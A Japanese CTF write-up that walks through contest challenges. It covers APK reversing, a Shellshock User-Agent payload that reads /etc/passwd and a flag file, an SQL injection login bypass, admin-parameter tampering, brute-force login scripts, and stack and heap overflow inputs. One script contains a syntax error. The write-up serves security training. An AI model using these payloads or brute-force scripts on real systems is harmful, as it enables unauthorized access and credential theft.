local_68を文字コードに戻すとhttps://fr4.2025winter-cybercontest.net/chemistry?flagSeed=、flagSeedは0~76までが入力されている。これらを実際にリクエストして得られた文字列を組み合わせてFLAG I AM LUCKYを作ればいい。

まずレスポンス文字列を集める。

import requests

rets = []

url = "https://fr4.2025winter-cybercontest.net/chemistry?flagSeed="
for i in range(0,0x77):
        response = requests.get(url+str(i))
        if response.status_code == 200:
                rets += [response.text]
        else:
                print(f"Error: {response.status_code}")
                break

print(rets)

得られたレスポンスを使って目的の文字列を作る。

target = "FLAG I AM LUCKY"
rets = [' ', 'H', 'HE', 'LI', 'BE', 'B', 'C', 'N', 'O', 'F', 'NE', 'NA', 'MA', 'AL', 'SI', 'P', 'S', 'CL', 'AR', 'K', 'CA', 'SC', 'TI', 'V', 'CR', 'MN', 'FE', 'CO', 'NI', 'CU', 'ZN', 'GA', 'GE', 'AS', 'SE', 'BR', 'KR', 'RB', 'SR', 'Y', 'ZR', 'NB', 'MO', 'TC', 'RU', 'RH', 'PD', 'AG', 'CD', 'IN', 'SN', 'SB', 'TE', 'I', 'XE', 'CS', 'BA', 'LA', 'CE', 'PR', 'ND', 'PM', 'SM', 'EU', 'GD', 'TB', 'DY', 'HO', 'ER', 'TM', 'YB', 'LU', 'HF', 'TA', 'W', 'RE', 'OS', 'IR', 'PT', 'AU', 'HG', 'TI', 'PB', 'BI', 'PO', 'AT', 'RN', 'FR', 'RA', 'AC', 'TH', 'PA', 'U', 'NP', 'PU', 'AM', 'CM', 'BK', 'CF', 'ES', 'FM', 'MD', 'NO', 'LR', 'RF', 'DB', 'SG', 'BH', 'HS', 'MT', 'DS', 'RG', 'CN', 'NH', 'FL', 'MC', 'LV', 'TS', 'OG']
codes = []
strs = []

p = 0
while p<len(target):
        if target[p:p+2] in rets: # 2digit
                codes += [rets.index(target[p:p+2])]
                strs += [target[p:p+2]]
                p += 2
        elif target[p:p+1] in rets:# 1digit
                codes += [rets.index(target[p:p+1])]
                strs += [target[p:p+1]]
                p += 1
        else:
                print("error",p)
                break

print(",".join([str(i) for i in codes]))

flag{114,47,0,53,0,95,0,71,6,19,39}

nSecureApk (300)

管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。

【回答書式】 flag{n文字のアルファベット}

配布されるFR-5.apkを解凍、classes.dex、classes2.dex、classes3.dexをdex2jarで変換。

PS > ../d2j-dex2jar.bat .\classes.dex
dex2jar .\classes.dex -> .\classes-dex2jar.jar
PS > ../d2j-dex2jar.bat .\classes2.dex
dex2jar .\classes2.dex -> .\classes2-dex2jar.jar
PS > ../d2j-dex2jar.bat .\classes3.dex
dex2jar .\classes3.dex -> .\classes3-dex2jar.jar

さらに\classes3-dex2jar\jp\go\cybercontest\insecureapk内のMainActivity.classとSecretGenerater.classをjadで逆コンパイル。

PS > ..\jad.exe .\MainActivity.class
Parsing .\MainActivity.class...Parsing inner class .\MainActivity$AppListener.class...Parsing inner class .\MainActivity$1.class... Generating MainActivity.jad
PS > ..\jad.exe .\SecretGenerater.class
Parsing .\SecretGenerater.class... Generating SecretGenerater.jad

MainActivity内の次のコードから、入力文字列をVUSTIq@H~]wGSBVHと比較している。

        public void onClick(View view)
        {
            EditText edittext = (EditText)findViewById(R.id.inputText);
            TextView textview = (TextView)findViewById(R.id.flush);
            if(view.getId() == R.id.button)
            {
                view = edittext.getText().toString();
                if(view.length() != 16)
                    textview.setText("Incorrect.");
                else
                if(SecretGenerater.decode(view).equals("VUSTIq@H~]wGSBVH"))
                    textview.setText("Congratulations! you got flag.");
                else
                    textview.setText("Incorrect.");
            }
        }

入力文字列はSecretGenerater.decode(view)に入っているので、SecretGeneraterも調べる。

public class SecretGenerater
{

    public SecretGenerater()
    {
    }

    public static native String checkNative(String s);

    public static String decode(String s)
    {
        s = checkNative(s);
        if(s.length() == 16)
            return s;
        else
            return "";
    }

    static 
    {
        System.loadLibrary("insecureapp");
    }
}

SecretGeneraterではcheckNative関数を使用しており、System.loadLibrary("insecureapp");でライブラリが読み込まれている。

これはapk内のlib\に含まれいて、\lib\x86_64\libinsecureapp.soをGhidraで解析する。

undefined8
Java_jp_go_cybercontest_insecureapk_SecretGenerater_checkNative
          (_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)

{
  byte bVar1;
  byte bVar2;
  char *pcVar3;
  byte *pbVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  ulong local_78;
  basic_string<> local_40 [24];
  basic_string<> local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar3 = (char *)_JNIEnv::GetStringUTFChars(param_1,param_3,(uchar *)0x0);
  std::__ndk1::basic_string<>::basic_string<>(local_28,pcVar3);
                    /* try { // try from 00121706 to 00121715 has its CatchHandler @ 0012177f */
  std::__ndk1::basic_string<>::basic_string<>(local_40,"0923200802022025");
  for (local_78 = 0; local_78 < 0x10; local_78 = local_78 + 1) {
    pbVar4 = (byte *)FUN_001218d0(local_28,local_78);
    bVar1 = *pbVar4;
    pbVar4 = (byte *)FUN_00121900(local_40,local_78);
    bVar2 = *pbVar4;
    pbVar4 = (byte *)FUN_001218d0(local_28,local_78);
    *pbVar4 = bVar1 ^ bVar2;
  }
  pcVar3 = (char *)FUN_00121960(local_28);
                    /* try { // try from 001217ae to 001217b2 has its CatchHandler @ 001217f1 */
  uVar5 = _JNIEnv::NewStringUTF(param_1,pcVar3);
  std::__ndk1::basic_string<>::~basic_string(local_40);
  std::__ndk1::basic_string<>::~basic_string(local_28);
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return uVar5;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

ChatGPT o3-miniさんいわく、入力文字列を"0923200802022025"とXORしているとのこと。Pythonでソルバーを作成する。

from Crypto.Util.number import long_to_bytes,bytes_to_long

a = b"0923200802022025"
b = b"VUSTIq@H~]wGSBVH"

print(long_to_bytes(bytes_to_long(a)^bytes_to_long(b)))

flag{AppNoGuard}

CVE-2014-7169他 (100)

アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。

/etc/PW-1

https://pw1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁の半角英数記号}

192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/a.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/b.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/c.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/d.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/e.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/f.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/g.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/h.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/i.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/j.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/k.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/l.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/m.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/o.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/p.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/q.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/r.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/s.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/t.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/u.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/v.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/x.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/y.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/z.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/v.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"

User-Agent文字列でShellShockしてる。200 OKで成功しているものを使ってcurl。

$ curl 'https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi' -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1'
flag{>:(!shellshock!}

flag{>:(!shellshock!}

認可は認証の後 (200)

下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。

ログインページ、SQLインジェクションを探すと認証に成功したレスポンスを得る。

$ curl -X POST --data "name=' OR 1=1#, password=a, pass-re=a" https://pw2-prod.2025winter-cybercontest.net/auth.php --include
HTTP/2 302 
date: Sun, 02 Feb 2025 05:31:10 GMT
content-type: text/html; charset=UTF-8
content-length: 0
location: mypage.php
server: Apache
x-powered-by: PHP/8.3.15
set-cookie: PHPSESSID=16dffaoe8rdgvdj05gultueuoo; path=/
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
set-cookie: PHPSESSID=d34t5t5s4k2rgpk8epim8qi9o6; path=/

ログインページのチェックが面倒なのでBurpでRequestを改ざんしてログイン、name=' OR 1=1#&password=aaaaaaaa&pass-re=aaaaaaaa

フラグを表示するボタンを押すと管理者ではないと言われるが、これもボタンを押すときのパラメータをadmin=0をadmin=1にすれば突破できる。

flag{DoNotUseParameter2Auth}

formerLogin (200)

資料を添付しました。 この資料から推測できる情報でグループウェアにアクセスできないでしょうか。

https://pw3-prod.2025winter-cybercontest.net/

競技中に唯一解けなかった問題。グループウェアのログインページが与えられる。

さらにヒントとして資料が与えられる。

まず3人の社員のTGTに対して思いつくイニシャルの組み合わせを試してみた。

import requests

url = "https://pw3-prod.2025winter-cybercontest.net/?"
rets = []
TGT = ["TGT123","TGT021","TGT007"]

N1 = ["YamadaTaro" ,"Yamada Taro" ,"TaroYamada" ,"Taro Yamada"]
N1 +=["Yamadataro" ,"Yamada taro" ,"Taroyamada" ,"Taro yamada"]
N1 +=["yamadataro" ,"yamada taro" ,"taroyamada" ,"taro yamada"]
N1 +=["YAMADATARO" ,"YAMADA TARO" ,"TAROYAMADA" ,"TARO YAMADA"]
N1 +=["Ytaro" ,"Y taro" ,"Tyamada" ,"T yamada"]
N1 +=["YTaro" ,"Y Taro" ,"TYamada" ,"T Yamada"]
N1 +=["YTARO" ,"Y TARO" ,"TYAMADA" ,"T YAMADA"]
N1 +=["Y.Taro","Y.taro","y.taro","T.Yamada","T.yamada","t.yamada"]
N1 +=["YT","Y.T.","Y T" ,"yt","y.t.","y t","TY","T.Y","T Y","ty","t.y.","t y"]
N2 = ["SatoHanako" ,"Sato Hanako" ,"HanakoSato" ,"Hanako Sato"]
N2 +=["Satohanako" ,"Sato hanako" ,"Hanakosato" ,"Hanako sato"]
N2 +=["satohanako" ,"sato hanako" ,"hanakosato" ,"hanako sato"]
N2 +=["SATOHANAKO" ,"SATO HANAKO" ,"HANAKOSATO" ,"HANAKO SATO"]
N2 +=["Shanako" ,"S hanako" ,"Hsato" ,"H sato"]
N2 +=["SHanako" ,"S Hanako" ,"HSato" ,"H Sato"]
N2 +=["SHANAKO" ,"S HANAKO" ,"HSATO" ,"H SATO"]
N2 +=["S.Hanako" ,"S.hanako" ,"s.hanako" ,"H.Sato" ,"H.Sato","h.Sato"]
N1 +=["HS","H.S.","H S" ,"hs","h.s.","h s","SH","S.H","S H","sh","s.h.","s h"]
N3 = ["SuzukiKazuo","Suzuki Kazuo","KazuoSuzuki","Kazuo Suzuki"]
N3 +=["Suzukikazuo","Suzuki kazuo","Kazuosuzuki","Kazuo suzuki"]
N3 +=["suzukikazuo","suzuki kazuo","kazuosuzuki","kazuo suzuki"]
N3 +=["SUZUKIKAZUO","SUZUKI KAZUO","KAZUOSUZUKI","KAZUO SUZUKI"]
N3 +=["Skazuo","S kazuo","Ksuzuki","K suzuki"]
N3 +=["SKazuo","S Kazuo","KSuzuki","K Suzuki"]
N3 +=["SKAZUO","S KAZUO","KSUZUKI","K SUZUKI"]
N3 +=["S.Kazuo","S.Kazuo","s.kazuo","K.Suzuki","K.suzuki","k.suzuki"]
N3 +=["KS","K.S.","K S" ,"ks","k.s.","k s","SK","S.K","S K","sk","s.k.","s k"]

def req(a,b):
        print("test:",a,b)
        response = requests.get(url+"?id="+a+"&name="+b)
        if "Incorrect login." not in response.text:
                print(response.text)
                print(a)
                print(b)

for i in N1:
        req(TGT[0],i)

for i in N2:
        req(TGT[1],i)

for i in N3:
        req(TGT[2],i)

うまくいかない。パワーポイントの作成者を見てみる。

作成者と更新者の名前でTGTを200程度までブルートフォースしてみた。

import requests

url = "https://pw3-prod.2025winter-cybercontest.net/"
rets = []

def req(a,b):
        urlx = url+"?id="+a+"&name="+b)
        print("test:",a,b)
        response = requests.get(url+"?id="+a+"&name="+b)
        if "Incorrect login." not in response.text:
                print(response.text)
                print(a)
                print(b)


for i in range(200):
        s = str(i)
        if len(s)==1:
                s = "00"+s
        elif len(s)==2:
                s = "0"+s
        req("TGT"+s,"ytanaka")

for i in range(200):
        s = str(i)
        if len(s)==1:
                s = "00"+s
        elif len(s)==2:
                s = "0"+s
        req("TGT"+s,"htahakashi")

うまくいかず時間切れ。

競技終了後に確認したところ、htahakashiではなくhtakahashiで200より多く回すと答えが出てくるようだ。誤字・・・?

import requests

url = "https://pw3-prod.2025winter-cybercontest.net/"
rets = []

def req(a,b):
        urlx = url+"?id="+a+"&name="+b)
        print("test:",a,b)
        response = requests.get(url+"?id="+a+"&name="+b)
        if "Incorrect login." not in response.text:
                print(response.text)
                print(a)
                print(b)


for i in range(999):
        s = str(i)
        if len(s)==1:
                s = "00"+s
        elif len(s)==2:
                s = "0"+s
        req("TGT"+s,"ytanaka")

for i in range(999):
        s = str(i)
        if len(s)==1:
                s = "00"+s
        elif len(s)==2:
                s = "0"+s
        req("TGT"+s,"htakahashi")

実行結果。

test: TGT260 htakahashi

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex" />
<title>田揚斗グループウェア</title>
</head>
<body>
<div class="title">田揚斗グループウェア</div>
<form method="get">
<table border=1>
<tr>
<th>社員ID</th><td><input type="text" name="id" placeholder="TGT000"></td>
</tr><tr>
<th>氏名</th><td><input type="text" name="name" placeholder="イニシャル"></td>
</tr></table>
<input type="submit" value="Login">
</form>
<font color='red'>Successful login.</font><br>flag{EasyPasswordIsAnnoyance}</body>
</html>

overmeow (200)

ファイルを用意したので、解析してもらえませんか。

nc pw4-prod.2025winter-cybercontest.net 30001

【回答書式】 flag{n桁の半角英数記号}

バッファオーバーフロー問題。配布されたバイナリをGhidraで逆コンパイル。

undefined8 main(void)

{
  char local_28 [16];
  ulonglong local_18;
  ulonglong local_10;
  
  local_10 = 0;
  puts(WELCOME);
  puts("What\'s the cat\'s say?");
  gets(local_28);
  local_18 = 0x6d646f77;
  if (local_10 == 0x6d646f77) {
    puts("Yes, I\'ll give you a flag.");
    system("cat flag");
  }
  else {
    printf("[hint]: overflow == 0x%llx\n",local_10);
    printf("secret != 0x%llx :(\n",local_18);
  }
  return 0;
}

BOFでlocal_10をwodmにすればいい。

$ nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
aaaaaaaaaaaaaaaaaaaaaaaawodm
Yes, I'll give you a flag.
flag{I_will_Golondon}

flag{I_will_Golondon}

heapmeow (300)

猫ちゃんの鳴き声はなんですか?

nc pw5-prod.2025winter-cybercontest.net 30001

【回答書式】 flag{n桁の半角英数記号}

ヒープ問題。配布されたCプログラムを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* WELCOME =
    " ∧,,∧\n"
    "(=・ω・)\n"
    "(,, uu)\n"
    "Dog goes woof.\n"
    "Then, Cat?";

typedef struct {
    char name[12];
    char pattern[12];
    char says[5];
} Cat;

int num_allocs;
Cat* cat;

void check_win() {
    if (!strcmp(cat->says, "meow")) {
        puts("Congratulations!");
        printf("flag{xxxxxxxxxxxxx}");
        fflush(stdout);

        exit(0);

    } else {
        puts("Try Again.");
        fflush(stdout);
    }
}

void print_menu() {
    printf(
        "\n1. Print Heap\n2. Allocate Cat\n3. Print cat->says\n4. Free cat\n5. "
        "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    puts(WELCOME);
    fflush(stdout);

    cat = malloc(sizeof(Cat));
    strncpy(cat->says, "nyao", 5);
}

void alloc_Cat() {
    char* alloc = malloc(sizeof(Cat));
    puts("What does the cat say?");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_cat() { free(cat); }

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", cat->says, cat->says);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {
    init();

    int choice;

    while (1) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
            case 1:
                print_heap();
                break;
            case 2:
                alloc_Cat();
                check_win();
                break;
            case 3:
                printf("\n\ncat = %s\n\n", cat->says);
                fflush(stdout);
                break;
            case 4:
                free_cat();
                break;
            case 5:
                // exit
                return 0;
            default:
                puts("Invalid choice");
                fflush(stdout);
        }
    }
}

親切にターゲットのアドレスの中身を表示してくれるので、長い文字列を使ってオフセットを見つける。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x5632d5430278  ->   nyao
+-------------+-----------+

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
1234567890112233445566778899001112223334445556667778889990001111222233334444555566667777888899990000
Try Again.

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x5632d5430278  ->   8899001112223334445556667778889990001111222233334444555566667777888899990000
+-------------+-----------+

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

入る位置がわかったので再実行。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
123456789011223344556677meow
Congratulations!
flag{cat_g0es_me0w}

flag{cat_g0es_me0w}

合体はロマン (100)

二次元バーコードでフラグを書いておきました。

【回答書式】 flag{n桁の半角英数字}

4分割されたQRコードの画像が配布される。

黒色の画像はアライメントパターンが反転しているので白黒逆転させる。残り3枚はタイミングパターンを目印に配置すると、重なった状態で29×29になった。

すべて黒色にしてオンラインリーダーに読み込ませる。

flag{ThisCodeIsLevelH}

Windowsで解きましょう (200)

下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください

【回答書式】 flag{22桁の半角数字}}

Windows上でflagファイル群を生成するbatファイルが配布される。代替データストリームだろう。生成されたディレクトリをdir b/Rで表示。

\Windowsで解きましょう\flags>dir /R
 ドライブ のボリューム ラベルは ローカル ディスク です
 ボリューム シリアル番号は  です

 \Windowsで解きましょう\flags のディレクトリ

2025/02/02  15:09    <DIR>          .
2025/02/02  15:09    <DIR>          ..
2025/02/02  15:09                31 flags_10.txt
2025/02/02  15:09                31 flags_11.txt
2025/02/02  15:09                31 flags_12.txt
2025/02/02  15:09                31 flags_13.txt
2025/02/02  15:09                31 flags_14.txt
2025/02/02  15:09                31 flags_15.txt
2025/02/02  15:09                31 flags_16.txt
2025/02/02  15:09                31 flags_17.txt
2025/02/02  15:09                31 flags_18.txt
2025/02/02  15:09                31 flags_19.txt
2025/02/02  15:09                31 flags_20.txt
2025/02/02  15:09                31 flags_21.txt
2025/02/02  15:09                31 flags_22.txt
2025/02/02  15:09                31 flags_23.txt
2025/02/02  15:09                31 flags_24.txt
2025/02/02  15:09                31 flags_25.txt
                                 22 flags_25.txt:TrueFlag:$DATA
2025/02/02  15:09                31 flags_26.txt
2025/02/02  15:09                31 flags_27.txt
2025/02/02  15:09                31 flags_28.txt
2025/02/02  15:09                31 flags_29.txt
2025/02/02  15:09                31 flags_30.txt
2025/02/02  15:09                31 flags_31.txt
2025/02/02  15:09                31 flags_32.txt
2025/02/02  15:09                31 flags_33.txt
2025/02/02  15:09                31 flags_34.txt
2025/02/02  15:09                31 flags_35.txt
2025/02/02  15:09                31 flags_36.txt
2025/02/02  15:09                31 flags_37.txt
2025/02/02  15:09                31 flags_38.txt
2025/02/02  15:09                31 flags_39.txt
2025/02/02  15:09                31 flags_40.txt
2025/02/02  15:09                31 flags_41.txt
2025/02/02  15:09                31 flags_42.txt
2025/02/02  15:09                31 flags_43.txt
2025/02/02  15:09                31 flags_44.txt
2025/02/02  15:09                31 flags_45.txt
2025/02/02  15:09                31 flags_46.txt
2025/02/02  15:09                31 flags_47.txt
2025/02/02  15:09                31 flags_48.txt
2025/02/02  15:09                31 flags_49.txt
2025/02/02  15:09                31 flags_50.txt
2025/02/02  15:09                31 flags_51.txt
2025/02/02  15:09                31 flags_52.txt
2025/02/02  15:09                31 flags_53.txt
2025/02/02  15:09                31 flags_54.txt
2025/02/02  15:09                31 flags_55.txt
2025/02/02  15:09                31 flags_56.txt
2025/02/02  15:09                31 flags_57.txt
2025/02/02  15:09                31 flags_58.txt
2025/02/02  15:09                31 flags_59.txt
2025/02/02  15:09                31 flags_60.txt
2025/02/02  15:09                31 flags_61.txt
2025/02/02  15:09                31 flags_62.txt
2025/02/02  15:09                31 flags_63.txt
2025/02/02  15:09                31 flags_64.txt
2025/02/02  15:09                31 flags_65.txt
2025/02/02  15:09                31 flags_66.txt
2025/02/02  15:09                31 flags_67.txt
2025/02/02  15:09                31 flags_68.txt
2025/02/02  15:09                31 flags_69.txt
2025/02/02  15:09                31 flags_70.txt
2025/02/02  15:09                31 flags_71.txt
2025/02/02  15:09                31 flags_72.txt
2025/02/02  15:09                31 flags_73.txt
2025/02/02  15:09                31 flags_74.txt
2025/02/02  15:09                31 flags_75.txt
2025/02/02  15:09                31 flags_76.txt
2025/02/02  15:09                31 flags_77.txt
2025/02/02  15:09                31 flags_78.txt
2025/02/02  15:09                31 flags_79.txt
2025/02/02  15:09                31 flags_80.txt
2025/02/02  15:09                31 flags_81.txt
2025/02/02  15:09                31 flags_82.txt
2025/02/02  15:09                31 flags_83.txt
2025/02/02  15:09                31 flags_84.txt
2025/02/02  15:09                31 flags_85.txt
2025/02/02  15:09                31 flags_86.txt
2025/02/02  15:09                31 flags_87.txt
2025/02/02  15:09                31 flags_88.txt
2025/02/02  15:09                31 flags_89.txt
2025/02/02  15:09                31 flags_90.txt
2025/02/02  15:09                31 flags_91.txt
2025/02/02  15:09                31 flags_92.txt
2025/02/02  15:09                31 flags_93.txt
2025/02/02  15:09                31 flags_94.txt
2025/02/02  15:09                31 flags_95.txt
2025/02/02  15:09                31 flags_96.txt
2025/02/02  15:09                31 flags_97.txt
2025/02/02  15:09                31 flags_98.txt
2025/02/02  15:09                31 flags_99.txt
              90 個のファイル               2,790 バイト
               2 個のディレクトリ  581,229,240,320 バイトの空き領域

flag{7525252364612534937244}

排他的倫理和 (300)

比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。

【回答書式】 flag{IPアドレス}

配布されるpattern1~3ファイルをそれぞれcompareファイルとXORしてみる。コードはChatGPTが作った。

def xor_files_display(file1, file2):
    with open(file1, "rb") as f1, open(file2, "rb") as f2:
        while True:
            b1 = f1.read(1)
            b2 = f2.read(1)

            if not b1 or not b2:
                break

            print(f"{b1[0] ^ b2[0]}", end=" ")

xor_files_display("compare", "pattern1")
print(" ")
xor_files_display("compare", "pattern2")
print(" ")
xor_files_display("compare", "pattern3")

 python .\solve.py
102 105 110 100 49 5 27 63 52 47
99 105 66 100 42 22 122 149 83 81
102 108 97 103 123 172 29 239 253 125

プライベートIPv4アドレスっぽい数字を見つける。

flag{172.29.239.253}